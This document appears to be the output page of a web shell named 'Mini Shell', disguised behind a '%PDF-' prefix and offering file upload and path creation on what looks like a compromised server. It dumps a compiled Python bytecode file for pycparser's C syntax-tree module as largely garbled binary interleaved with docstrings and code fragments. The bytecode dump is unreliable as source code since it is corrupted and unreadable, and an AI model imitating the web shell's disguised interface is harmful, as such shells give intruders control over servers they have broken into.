%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/certbot/current/lib64/python3.12/site-packages/pycparser/__pycache__/
Upload File :
Create Path :
Current File : //snap/certbot/current/lib64/python3.12/site-packages/pycparser/__pycache__/c_ast.cpython-312.pyc

�

�h�j����ddlZddlmZmZmZd�ZGd�d�ZGd�d�ZGd�d	e�ZGd
�de�Z	Gd�d
e�Z
Gd�de�ZGd�de�ZGd�de�Z
Gd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd�de�ZGd �d!e�ZGd"�d#e�ZGd$�d%e�ZGd&�d'e�ZGd(�d)e�ZGd*�d+e�ZGd,�d-e�ZGd.�d/e�ZGd0�d1e�ZGd2�d3e�ZGd4�d5e�ZGd6�d7e�ZGd8�d9e�Z Gd:�d;e�Z!Gd<�d=e�Z"Gd>�d?e�Z#Gd@�dAe�Z$GdB�dCe�Z%GdD�dEe�Z&GdF�dGe�Z'GdH�dIe�Z(GdJ�dKe�Z)GdL�dMe�Z*GdN�dOe�Z+GdP�dQe�Z,GdR�dSe�Z-GdT�dUe�Z.GdV�dWe�Z/GdX�dYe�Z0GdZ�d[e�Z1Gd\�d]e�Z2Gd^�d_e�Z3Gd`�dae�Z4Gdb�dce�Z5Gdd�dee�Z6Gdf�dge�Z7Gdh�die�Z8Gdj�dke�Z9Gdl�dme�Z:y)n�N)�IO�Any�ClassVarc�t�t|t�rddjd�|D��zdzSt|�S)z[
    Get the representation of an object, with dedicated pprint-like format for lists.
    �[z,
 c3�RK�|]}t|�jdd����!y�w)�
�
 N)�_repr�replace)�.0�es  �K/root/parts/certbot/install/lib/python3.12/site-packages/pycparser/c_ast.py�	<genexpr>z_repr.<locals>.<genexpr>s!����!M�A�%��(�"2�"2�4��"?�!M�s�%'z
])�
isinstance�list�join�repr)�objs rrrs8���#�t���f�k�k�!M��!M�M�N�QV�V�V��C�y��c��eZdZUdZ	dZeeedfed<e	dzed<d�Z
d�Zejdd	d
d	d	dfdeeded
edededededzfd�Zy)�Node�.�
attr_namesN�coordc��|jjdz}d}d}|jddD]�}||z
}||z
}||dztt	||��jdddt
|�t
|jj�zzz�zz
}d	}d
dt
|jj�zz}��||dzz
}|S)z5Generates a python representation of the current node�(�N����=r	z
  � �,r
�))�	__class__�__name__�	__slots__r�getattrr�len)�self�result�indent�	separator�names     r�__repr__z
Node.__repr__*s������(�(�3�.�����	��N�N�3�B�'�	B�D��i��F��f��F������'�$��-�.�6�6���#��T��S����9P�9P�5Q�)Q�"R�S���	
�F��I��c�C����(?�(?�$@�@�A�F�	B�"	�&�3�,����
rc��y)z)A sequence of all children that are NodesNr�r)s r�childrenz
Node.childrenEs�rrFT�buf�offset�	attrnames�showemptyattrs�	nodenames�	showcoord�
_my_node_namec
��d|z}|r4|�2|j||jjzdz|zdz�n+|j||jjzdz�|jr�d�}	|jD�
cgc]$}
|s|	t	||
��s|
t	||
�f��&}}
|rdjd�|D��}ndjd	�|D��}|j|�|r|jd
|j�d��|jd�|j�D] \}
}|j||d
z|||||
���"ycc}
w)a�Pretty print the Node and all its attributes and
        children (recursively) to a buffer.

        buf:
            Open IO buffer into which the Node is printed.

        offset:
            Initial offset (amount of leading spaces)

        attrnames:
            True if you want to see the attribute names in
            name=value pairs. False to only see the values.

        showemptyattrs:
            False if you want to suppress printing empty attributes.

        nodenames:
            True if you want to see the actual node names
            within their parents.

        showcoord:
            Do you want the coordinates of each Node to be
            displayed.
        r!Nz <z>: z: c�F�|duxst|d�xrt|�dk(S)N�__len__r)�hasattrr()�vs r�is_emptyzNode.show.<locals>.is_emptyrs%���D�y�K�W�Q�	�%:�%J�s�1�v��{�Krz, c3�0K�|]\}}|�d|�����y�w)r Nr)r
r-�values   rrzNode.show.<locals>.<genexpr>{s����#P�+�$��t�f�A�e�W�$5�#P�s�c3�(K�|]
\}}|����y�w�Nr)r
�_r@s   rrzNode.show.<locals>.<genexpr>}s����#F�8�1�e�u�g�J�#F�s�z (at r#r	�)r3r4r5r6r7r8)	�writer$r%rr'rrr1�show)r)r2r3r4r5r6r7r8�leadr>�n�nvlist�attrstr�
child_name�childs               rrFz	Node.showHsV��D�V�|����2��I�I�d�T�^�^�4�4�4�t�;�m�K�e�S�T��I�I�d�T�^�^�4�4�4�t�;�<��?�?�
L�
�����!��'�$��2B�)C��G�D�!�$�%��F��
��)�)�#P��#P�P���)�)�#F�v�#F�F���I�I�g����I�I��d�j�j�\��+�,��	�	�$��!%����		��J���J�J����z�#�-�#�#�(�
�
�		��s�)E)r%�
__module__�__qualname__r&rr�tuple�str�__annotations__rr.r1�sys�stdoutr�int�boolrFrrrrr#s����I��,.�J���s�C�x��)�.���:���68�
�z�z���#���$(�E�
��W�E��E��	E�
�E��
E��E��T�z�Errc�,�eZdZdZdZdefd�Zdefd�Zy)�NodeVisitora�A base NodeVisitor class for visiting c_ast nodes.
    Subclass it and define your own visit_XXX methods, where
    XXX is the class name you want to visit with these
    methods.

    For example:

    class ConstantVisitor(NodeVisitor):
        def __init__(self):
            self.values = []

        def visit_Constant(self, node):
            self.values.append(node.value)

    Creates a list of values of all the constant nodes
    encountered below the given node. To use it:

    cv = ConstantVisitor()
    cv.visit(node)

    Notes:

    *   generic_visit() will be called for AST nodes for which
        no visit_XXX method was defined.
    *   The children of nodes for which a visit_XXX was
        defined will not be visited - if you need this, call
        generic_visit() on the node.
        You can use:
            NodeVisitor.generic_visit(self, node)
    *   Modeled after Python's own AST visiting facilities
        (the ast module of Python 3.0)
    N�nodec�B�|j�i|_|jj|jjd�}|�Sd|jjz}t	|||j
�}||j|jj<||�S)z
Visit a node.N�visit_)�
_method_cache�getr$r%r'�
generic_visit)r)rX�visitor�methods    r�visitzNodeVisitor.visit�s������%�!#�D���$�$�(�(����)@�)@�$�G���?����� 7� 7�7�F��d�F�D�,>�,>�?�G�:A�D���t�~�~�6�6�7��t�}�rc�V�|j�D]\}}|j|��y)ztCalled if no explicit visitor function exists for a
        node. Implements preorder visiting of the node.
        N)r1r`)r)rXrC�cs    rr]zNodeVisitor.generic_visit�s(���M�M�O�	�D�A�q��J�J�q�M�	r)r%rMrN�__doc__r[rr`r]rrrrWrW�s'���B�M��$���$�rrWc�(�eZdZdZdd�Zd�Zd�ZdZy)�	ArrayDecl)�type�dim�	dim_qualsr�__weakref__Nc�<�||_||_||_||_yrB)rfrgrhr)r)rfrgrhrs     r�__init__zArrayDecl.__init__�s����	����"�����
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nrfrg)rf�appendrgrO�r)�nodelists  rr1zArrayDecl.children�sO�����9�9� ��O�O�V�T�Y�Y�/�0��8�8���O�O�U�D�H�H�-�.��X��rc#�vK�|j�|j��|j�|j��yy�wrB)rfrgr0s r�__iter__zArrayDecl.__iter__�s1�����9�9� ��)�)�O��8�8���(�(�N� ���79)rhrB�r%rMrNr&rkr1rqrrrrrere�s��D�I���� �Jrrec�(�eZdZdZdd�Zd�Zd�ZdZy)�ArrayRef)r-�	subscriptrriNc�.�||_||_||_yrB)r-rvr)r)r-rvrs    rrkzArrayRef.__init__�s����	�"�����
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr-rv)r-rmrvrOrns  rr1zArrayRef.children�sO�����9�9� ��O�O�V�T�Y�Y�/�0��>�>�%��O�O�[�$�.�.�9�:��X��rc#�vK�|j�|j��|j�|j��yy�wrB)r-rvr0s rrqzArrayRef.__iter__�s2�����9�9� ��)�)�O��>�>�%��.�.� �&�rrrrBrsrrrruru�s��=�I��
�!��Jrruc�(�eZdZdZdd�Zd�Zd�ZdZy)�
Assignment)�op�lvalue�rvaluerriNc�<�||_||_||_||_yrB)r|r}r~r)r)r|r}r~rs     rrkzAssignment.__init__s�������������
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr}r~)r}rmr~rOrns  rr1zAssignment.childrensO�����;�;�"��O�O�X�t�{�{�3�4��;�;�"��O�O�X�t�{�{�3�4��X��rc#�vK�|j�|j��|j�|j��yy�wrB)r}r~r0s rrqzAssignment.__iter__s3�����;�;�"��+�+���;�;�"��+�+��#�rr�r|rBrsrrrr{r{�s��B�I�����Jrr{c�(�eZdZdZdd�Zd�Zd�ZdZy)�Alignas)�	alignmentrriNc� �||_||_yrB)r�r)r)r�rs   rrkzAlignas.__init__s��"�����
rc�n�g}|j�|jd|jf�t|�S)Nr�)r�rmrOrns  rr1zAlignas.childrens0�����>�>�%��O�O�[�$�.�.�9�:��X��rc#�BK�|j�|j��yy�wrB)r�r0s rrqzAlignas.__iter__$s�����>�>�%��.�.� �&���rrBrsrrrr�r�s��5�I���!��Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�BinaryOp)r|�left�rightrriNc�<�||_||_||_||_yrB)r|r�r�r)r)r|r�r�rs     rrkzBinaryOp.__init__.s�������	���
���
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr�r�)r�rmr�rOrns  rr1zBinaryOp.children4�O�����9�9� ��O�O�V�T�Y�Y�/�0��:�:�!��O�O�W�d�j�j�1�2��X��rc#�vK�|j�|j��|j�|j��yy�wrB)r�r�r0s rrqzBinaryOp.__iter__<�2�����9�9� ��)�)�O��:�:�!��*�*��"�rrr�rBrsrrrr�r�+s��?�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Break�rriNc��||_yrB�r�r)rs  rrkzBreak.__init__H�	����
rc��y�Nrrr0s rr1zBreak.childrenK���rc#�K�y�wrBrr0s rrqzBreak.__iter__N�	�������rrBrsrrrr�r�E���(�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Case)�expr�stmtsrriNc�.�||_||_||_yrB)r�r�r)r)r�r�rs    rrkz
Case.__init__X�����	���
���
rc���g}|j�|jd|jf�t|jxsg�D]\}}|jd|�d�|f��t	|�S)Nr��stmts[�])r�rm�	enumerater�rO�r)ro�irLs    rr1z
Case.children]sj�����9�9� ��O�O�V�T�Y�Y�/�0�!�$�*�*�"2��3�	4�H�A�u��O�O�v�a�S��]�E�2�3�	4��X��rc#�tK�|j�|j��|jxsgEd{���y7��wrB)r�r�r0s rrqz
Case.__iter__es+�����9�9� ��)�)�O��:�:�#��#�#���.8�6�8rrBrsrrrr�r�Us��9�I��
�$�
�Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Cast)�to_typer�rriNc�.�||_||_||_yrB)r�r�r)r)r�r�rs    rrkz
Cast.__init__ps�������	���
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr�r�)r�rmr�rOrns  rr1z
Cast.childrenusO�����<�<�#��O�O�Y����5�6��9�9� ��O�O�V�T�Y�Y�/�0��X��rc#�vK�|j�|j��|j�|j��yy�wrB)r�r�r0s rrqz
Cast.__iter__}s2�����<�<�#��,�,���9�9� ��)�)�O�!�rrrrBrsrrrr�r�ms��;�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Compound)�block_itemsrriNc� �||_||_yrB)r�r)r)r�rs   rrkzCompound.__init__����&�����
rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S)Nzblock_items[r�)r�r�rmrOr�s    rr1zCompound.children��N����!�$�"2�"2�"8�b�9�	:�H�A�u��O�O�|�A�3�a�0�%�8�9�	:��X��rc#�@K�|jxsgEd{���y7��wrB)r�r0s rrqzCompound.__iter__�������#�#�)�r�)�)�����rrBrsrrrr�r�����7�I���*��Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�CompoundLiteral)rf�initrriNc�.�||_||_||_yrB)rfr�r)r)rfr�rs    rrkzCompoundLiteral.__init__������	���	���
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nrfr�)rfrmr�rOrns  rr1zCompoundLiteral.children��O�����9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0��X��rc#�vK�|j�|j��|j�|j��yy�wrB)rfr�r0s rrqzCompoundLiteral.__iter__��1�����9�9� ��)�)�O��9�9� ��)�)�O�!�rrrrBrsrrrr�r�����8�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Constant)rfr@rriNc�.�||_||_||_yrB)rfr@r)r)rfr@rs    rrkzConstant.__init__�r�rc��g}t|�SrB�rOrns  rr1zConstant.children�������X��rc#�K�y�wrBrr0s rrqzConstant.__iter__�r�r�)rfr@rBrsrrrr�r��s��9�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Continuer�Nc��||_yrBr�r�s  rrkzContinue.__init__�r�rc��yr�rr0s rr1zContinue.children�r�rc#�K�y�wrBrr0s rrqzContinue.__iter__�r�r�rrBrsrrrr�r��r�rr�c�*�eZdZdZ	dd�Zd�Zd�ZdZy)�Decl)
r-�quals�align�storage�funcspecrfr��bitsizerriNc
��||_||_||_||_||_||_||_||_|	|_yrB)	r-r�r�r�r�rfr�r�r)
r)r-r�r�r�r�rfr�r�rs
          rrkz
Decl.__init__�sC����	���
���
���� ��
���	���	������
rc��g}|j�|jd|jf�|j�|jd|jf�|j�|jd|jf�t	|�S)Nrfr�r�)rfrmr�r�rOrns  rr1z
Decl.children�sn�����9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0��<�<�#��O�O�Y����5�6��X��rc#�K�|j�|j��|j�|j��|j�|j��yy�wrB)rfr�r�r0s rrqz
Decl.__iter__�sE�����9�9� ��)�)�O��9�9� ��)�)�O��<�<�#��,�,��$���AA)r-r�r�r�r�rBrsrrrr�r��s&���I�QU�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�DeclList)�declsrriNc� �||_||_yrB)r�r)r)r�rs   rrkzDeclList.__init__�����
���
rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S�Nzdecls[r��r�r�rmrOr�s    rr1zDeclList.children�K����!�$�*�*�"2��3�	4�H�A�u��O�O�v�a�S��]�E�2�3�	4��X��rc#�@K�|jxsgEd{���y7��wrB�r�r0s rrqzDeclList.__iter__������:�:�#��#�#�r�rrBrsrrrr�r����1�I���$��Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Default)r�rriNc� �||_||_yrB)r�r)r)r�rs   rrkzDefault.__init__$r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S)Nr�r�)r�r�rmrOr�s    rr1zDefault.children(r�rc#�@K�|jxsgEd{���y7��wrB)r�r0s rrqzDefault.__iter__.r�r�rrBrsrrrr�r�!r�rr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�DoWhile��cond�stmtrriNc�.�||_||_||_yrB�r�r�r�r)r�r�rs    rrkzDoWhile.__init__7r�rc��g}|j�|jd|jf�|j�|jd|jf�t|�S�Nr�r��r�rmr�rOrns  rr1zDoWhile.children<r�rc#�vK�|j�|j��|j�|j��yy�wrB�r�r�r0s rrqzDoWhile.__iter__Dr�rrrrBrsrrrr�r�4r�rr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�
EllipsisParamr�Nc��||_yrBr�r�s  rrkzEllipsisParam.__init__Pr�rc��yr�rr0s rr1zEllipsisParam.childrenSr�rc#�K�y�wrBrr0s rrqzEllipsisParam.__iter__Vr�r�rrBrsrrrrrMr�rrc�(�eZdZdZdd�Zd�Zd�ZdZy)�EmptyStatementr�Nc��||_yrBr�r�s  rrkzEmptyStatement.__init__`r�rc��yr�rr0s rr1zEmptyStatement.childrencr�rc#�K�y�wrBrr0s rrqzEmptyStatement.__iter__fr�r�rrBrsrrrrr]r�rrc�(�eZdZdZdd�Zd�Zd�ZdZy)�Enum)r-�valuesrriNc�.�||_||_||_yrB)r-rr)r)r-rrs    rrkz
Enum.__init__ps����	������
rc�n�g}|j�|jd|jf�t|�S)Nr)rrmrOrns  rr1z
Enum.childrenus0�����;�;�"��O�O�X�t�{�{�3�4��X��rc#�BK�|j�|j��yy�wrB)rr0s rrqz
Enum.__iter__{s�����;�;�"��+�+��#�r��r-rBrsrrrrrms��:�I��
���Jrrc�(�eZdZdZdd�Zd�Zd�ZdZy)�
Enumerator)r-r@rriNc�.�||_||_||_yrB)r-r@r)r)r-r@rs    rrkzEnumerator.__init__�r�rc�n�g}|j�|jd|jf�t|�S)Nr@)r@rmrOrns  rr1zEnumerator.children�s0�����:�:�!��O�O�W�d�j�j�1�2��X��rc#�BK�|j�|j��yy�wrB)r@r0s rrqzEnumerator.__iter__�s�����:�:�!��*�*��"�r�rrBrsrrrrr�s��9�I��
���Jrrc�(�eZdZdZdd�Zd�Zd�ZdZy)�EnumeratorList)�enumeratorsrriNc� �||_||_yrB)rr)r)rrs   rrkzEnumeratorList.__init__�r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S)Nzenumerators[r�)r�rrmrOr�s    rr1zEnumeratorList.children�r�rc#�@K�|jxsgEd{���y7��wrB)rr0s rrqzEnumeratorList.__iter__�r�r�rrBrsrrrrr�r�rrc�(�eZdZdZdd�Zd�Zd�ZdZy)�ExprList��exprsrriNc� �||_||_yrB�rr�r)rrs   rrkzExprList.__init__�r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S�Nzexprs[r��r�rrmrOr�s    rr1zExprList.children�r�rc#�@K�|jxsgEd{���y7��wrB�rr0s rrqzExprList.__iter__�r�r�rrBrsrrrrr�r�rrc�(�eZdZdZdd�Zd�Zd�ZdZy)�FileAST)�extrriNc� �||_||_yrB)r*r)r)r*rs   rrkzFileAST.__init__�s�������
rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S)Nzext[r�)r�r*rmrOr�s    rr1zFileAST.children�sJ����!�$�(�(�.�b�1�	2�H�A�u��O�O�t�A�3�a�[�%�0�1�	2��X��rc#�@K�|jxsgEd{���y7��wrB)r*r0s rrqzFileAST.__iter__�s�����8�8�>�r�!�!�r�rrBrsrrrr)r)�s��/�I���"��Jrr)c�(�eZdZdZdd�Zd�Zd�ZdZy)�For)r�r��nextr�rriNc�J�||_||_||_||_||_yrB)r�r�r0r�r)r)r�r�r0r�rs      rrkzFor.__init__�s%����	���	���	���	���
rc�d�g}|j�|jd|jf�|j�|jd|jf�|j�|jd|jf�|j�|jd|jf�t|�S)Nr�r�r0r�)r�rmr�r0r�rOrns  rr1zFor.children�s������9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0��X��rc#��K�|j�|j��|j�|j��|j�|j��|j�|j��yy�wrB)r�r�r0r�r0s rrqzFor.__iter__�sW�����9�9� ��)�)�O��9�9� ��)�)�O��9�9� ��)�)�O��9�9� ��)�)�O�!�s�A+A-rrBrsrrrr/r/�s��H�I��
���Jrr/c�(�eZdZdZdd�Zd�Zd�ZdZy)�FuncCall)r-�argsrriNc�.�||_||_||_yrB)r-r6r)r)r-r6rs    rrkzFuncCall.__init__�r�rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr-r6)r-rmr6rOrns  rr1zFuncCall.children�r�rc#�vK�|j�|j��|j�|j��yy�wrB)r-r6r0s rrqzFuncCall.__iter__r�rrrrBrsrrrr5r5�r�rr5c�(�eZdZdZdd�Zd�Zd�ZdZy)�FuncDecl)r6rfrriNc�.�||_||_||_yrB)r6rfr)r)r6rfrs    rrkzFuncDecl.__init__r�rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr6rf)r6rmrfrOrns  rr1zFuncDecl.childrenr�rc#�vK�|j�|j��|j�|j��yy�wrB)r6rfr0s rrqzFuncDecl.__iter__r�rrrrBrsrrrr;r;r�rr;c�(�eZdZdZdd�Zd�Zd�ZdZy)�FuncDef)�decl�param_decls�bodyrriNc�<�||_||_||_||_yrB)rArBrCr)r)rArBrCrs     rrkzFuncDef.__init__(s����	�&�����	���
rc�0�g}|j�|jd|jf�|j�|jd|jf�t|jxsg�D]\}}|jd|�d�|f��t|�S)NrArCzparam_decls[r�)rArmrCr�rBrOr�s    rr1zFuncDef.children.s������9�9� ��O�O�V�T�Y�Y�/�0��9�9� ��O�O�V�T�Y�Y�/�0�!�$�"2�"2�"8�b�9�	:�H�A�u��O�O�|�A�3�a�0�%�8�9�	:��X��rc#�K�|j�|j��|j�|j��|jxsgEd{���y7��wrB)rArCrBr0s rrqzFuncDef.__iter__8s@�����9�9� ��)�)�O��9�9� ��)�)�O��#�#�)�r�)�)�s�AA�
A�ArrBrsrrrr@r@%s��G�I���*��Jrr@c�(�eZdZdZdd�Zd�Zd�ZdZy)�GenericAssociation)rfr�rriNc�.�||_||_||_yrB)rfr�r)r)rfr�rs    rrkzGenericAssociation.__init__Er�rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nrfr�)rfrmr�rOrns  rr1zGenericAssociation.childrenJr�rc#�vK�|j�|j��|j�|j��yy�wrB)rfr�r0s rrqzGenericAssociation.__iter__Rr�rrrrBrsrrrrHrHBr�rrHc�(�eZdZdZdd�Zd�Zd�ZdZy)�GenericSelection)r��associationsrriNc�.�||_||_||_yrB)r�rNr)r)r�rNrs    rrkzGenericSelection.__init__^s����	�(�����
rc���g}|j�|jd|jf�t|jxsg�D]\}}|jd|�d�|f��t	|�S)Nr�z
associations[r�)r�rmr�rNrOr�s    rr1zGenericSelection.childrencsm�����9�9� ��O�O�V�T�Y�Y�/�0�!�$�"3�"3�"9�r�:�	;�H�A�u��O�O�}�Q�C�q�1�5�9�:�	;��X��rc#�tK�|j�|j��|jxsgEd{���y7��wrB)r�rNr0s rrqzGenericSelection.__iter__ks-�����9�9� ��)�)�O��$�$�*��*�*�r�rrBrsrrrrMrM[s��@�I��
�+�
�JrrMc�(�eZdZdZdd�Zd�Zd�ZdZy)�Goto�r-rriNc� �||_||_yrB�r-r�r)r-rs   rrkz
Goto.__init__v�����	���
rc��g}t|�SrBr�rns  rr1z
Goto.childrenzr�rc#�K�y�wrBrr0s rrqz
Goto.__iter__~r�r�rrBrsrrrrSrSs���0�I�����JrrSc�(�eZdZdZdd�Zd�Zd�ZdZy)�IDrTNc� �||_||_yrBrVrWs   rrkzID.__init__�rXrc��g}t|�SrBr�rns  rr1zID.children�r�rc#�K�y�wrBrr0s rrqzID.__iter__�r�r�rrBrsrrrr]r]�r[rr]c�(�eZdZdZdd�Zd�Zd�ZdZy)�IdentifierType)�namesrriNc� �||_||_yrB)rcr)r)rcrs   rrkzIdentifierType.__init__�r�rc��g}t|�SrBr�rns  rr1zIdentifierType.children�r�rc#�K�y�wrBrr0s rrqzIdentifierType.__iter__�r�r�)rcrBrsrrrrbrb�s��1�I�����Jrrbc�(�eZdZdZdd�Zd�Zd�ZdZy)�If�r��iftrue�iffalserriNc�<�||_||_||_||_yrB�r�rjrkr�r)r�rjrkrs     rrkzIf.__init__������	���������
rc��g}|j�|jd|jf�|j�|jd|jf�|j�|jd|jf�t	|�S�Nr�rjrk�r�rmrjrkrOrns  rr1zIf.children��n�����9�9� ��O�O�V�T�Y�Y�/�0��;�;�"��O�O�X�t�{�{�3�4��<�<�#��O�O�Y����5�6��X��rc#�K�|j�|j��|j�|j��|j�|j��yy�wrB�r�rjrkr0s rrqzIf.__iter__��F�����9�9� ��)�)�O��;�;�"��+�+���<�<�#��,�,��$�r�rrBrsrrrrhrh����E�I�����Jrrhc�(�eZdZdZdd�Zd�Zd�ZdZy)�InitListrNc� �||_||_yrBr!r"s   rrkzInitList.__init__�r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�Sr$r%r�s    rr1zInitList.children�r�rc#�@K�|jxsgEd{���y7��wrBr'r0s rrqzInitList.__iter__�r�r�rrBrsrrrryry�r�rryc�(�eZdZdZdd�Zd�Zd�ZdZy)�Label)r-r�rriNc�.�||_||_||_yrB)r-r�r)r)r-r�rs    rrkzLabel.__init__�r�rc�n�g}|j�|jd|jf�t|�S)Nr�)r�rmrOrns  rr1zLabel.children��0�����9�9� ��O�O�V�T�Y�Y�/�0��X��rc#�BK�|j�|j��yy�wrB)r�r0s rrqzLabel.__iter__�������9�9� ��)�)�O�!�r�rrBrsrrrr~r~�s��8�I��
���Jrr~c�(�eZdZdZdd�Zd�Zd�ZdZy)�NamedInitializer)r-r�rriNc�.�||_||_||_yrB)r-r�r)r)r-r�rs    rrkzNamedInitializer.__init__�r�rc���g}|j�|jd|jf�t|jxsg�D]\}}|jd|�d�|f��t	|�S)Nr�zname[r�)r�rmr�r-rOr�s    rr1zNamedInitializer.children�si�����9�9� ��O�O�V�T�Y�Y�/�0�!�$�)�)�/�r�2�	3�H�A�u��O�O�u�Q�C�q�\�5�1�2�	3��X��rc#�tK�|j�|j��|jxsgEd{���y7��wrB)r�r-r0s rrqzNamedInitializer.__iter__�s*�����9�9� ��)�)�O��9�9�?��"�"�r�rrBrsrrrr�r��s��8�I��
�#�
�Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�	ParamList)�paramsrriNc� �||_||_yrB)r�r)r)r�rs   rrkzParamList.__init__
��������
rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�S)Nzparams[r�)r�r�rmrOr�s    rr1zParamList.childrensK����!�$�+�+�"3��4�	5�H�A�u��O�O�w�q�c��^�U�3�4�	5��X��rc#�@K�|jxsgEd{���y7��wrB)r�r0s rrqzParamList.__iter__s�����;�;�$�"�$�$�r�rrBrsrrrr�r�s��2�I���%��Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�PtrDecl)r�rfrriNc�.�||_||_||_yrB)r�rfr)r)r�rfrs    rrkzPtrDecl.__init__s����
���	���
rc�n�g}|j�|jd|jf�t|�S�Nrf�rfrmrOrns  rr1zPtrDecl.children"r�rc#�BK�|j�|j��yy�wrB�rfr0s rrqzPtrDecl.__iter__(r�r�)r�rBrsrrrr�r�s��9�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Return)r�rriNc� �||_||_yrB)r�r)r)r�rs   rrkzReturn.__init__2rXrc�n�g}|j�|jd|jf�t|�S�Nr��r�rmrOrns  rr1zReturn.children6r�rc#�BK�|j�|j��yy�wrB�r�r0s rrqzReturn.__iter__<r�r�rrBrsrrrr�r�/s��0�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�StaticAssert)r��messagerriNc�.�||_||_||_yrB)r�r�r)r)r�r�rs    rrkzStaticAssert.__init__Fs����	������
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr�r�)r�rmr�rOrns  rr1zStaticAssert.childrenKsO�����9�9� ��O�O�V�T�Y�Y�/�0��<�<�#��O�O�Y����5�6��X��rc#�vK�|j�|j��|j�|j��yy�wrB)r�r�r0s rrqzStaticAssert.__iter__Ss2�����9�9� ��)�)�O��<�<�#��,�,��$�rrrrBrsrrrr�r�Cs��;�I��
���Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Struct�r-r�rriNc�.�||_||_||_yrB�r-r�r�r)r-r�rs    rrkzStruct.__init___r�rc��g}t|jxsg�D]\}}|jd|�d�|f��t|�Sr�r�r�s    rr1zStruct.childrendr�rc#�@K�|jxsgEd{���y7��wrBr�r0s rrqzStruct.__iter__jr�r�rrBrsrrrr�r�\���9�I��
�$��Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�	StructRef)r-rf�fieldrriNc�<�||_||_||_||_yrB)r-rfr�r)r)r-rfr�rs     rrkzStructRef.__init__ss����	���	���
���
rc��g}|j�|jd|jf�|j�|jd|jf�t|�S)Nr-r�)r-rmr�rOrns  rr1zStructRef.childrenyr�rc#�vK�|j�|j��|j�|j��yy�wrB)r-r�r0s rrqzStructRef.__iter__�r�rrr�rBrsrrrr�r�ps��A�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Switchr�Nc�.�||_||_||_yrBr�r�s    rrkzSwitch.__init__�r�rc��g}|j�|jd|jf�|j�|jd|jf�t|�Sr�r�rns  rr1zSwitch.children�r�rc#�vK�|j�|j��|j�|j��yy�wrBr�r0s rrqzSwitch.__iter__�r�rrrrBrsrrrr�r��r�rr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�	TernaryOpriNc�<�||_||_||_||_yrBrmrns     rrkzTernaryOp.__init__�rorc��g}|j�|jd|jf�|j�|jd|jf�|j�|jd|jf�t	|�Srqrrrns  rr1zTernaryOp.children�rsrc#�K�|j�|j��|j�|j��|j�|j��yy�wrBrur0s rrqzTernaryOp.__iter__�rvr�rrBrsrrrr�r��rwrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�TypeDecl)�declnamer�r�rfrriNc�J�||_||_||_||_||_yrB)r�r�r�rfr)r)r�r�r�rfrs      rrkzTypeDecl.__init__�s%�� ��
���
���
���	���
rc�n�g}|j�|jd|jf�t|�Sr�r�rns  rr1zTypeDecl.children�r�rc#�BK�|j�|j��yy�wrBr�r0s rrqzTypeDecl.__iter__�r�r�)r�r�r�rBrsrrrr�r��s��N�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Typedef)r-r�r�rfrriNc�J�||_||_||_||_||_yrB)r-r�r�rfr)r)r-r�r�rfrs      rrkzTypedef.__init__�s%����	���
������	���
rc�n�g}|j�|jd|jf�t|�Sr�r�rns  rr1zTypedef.children�r�rc#�BK�|j�|j��yy�wrBr�r0s rrqzTypedef.__iter__�r�r�)r-r�r�rBrsrrrr�r��s��L�I�����Jrr�c�(�eZdZdZdd�Zd�Zd�ZdZy)�Typename)r-r�r�rfrriNc�J�||_||_||_||_||_yrB)r-r�r�rfr)r)r-r�r�rfrs      rrkzTypename.__init__�s%����	���
���
���	���
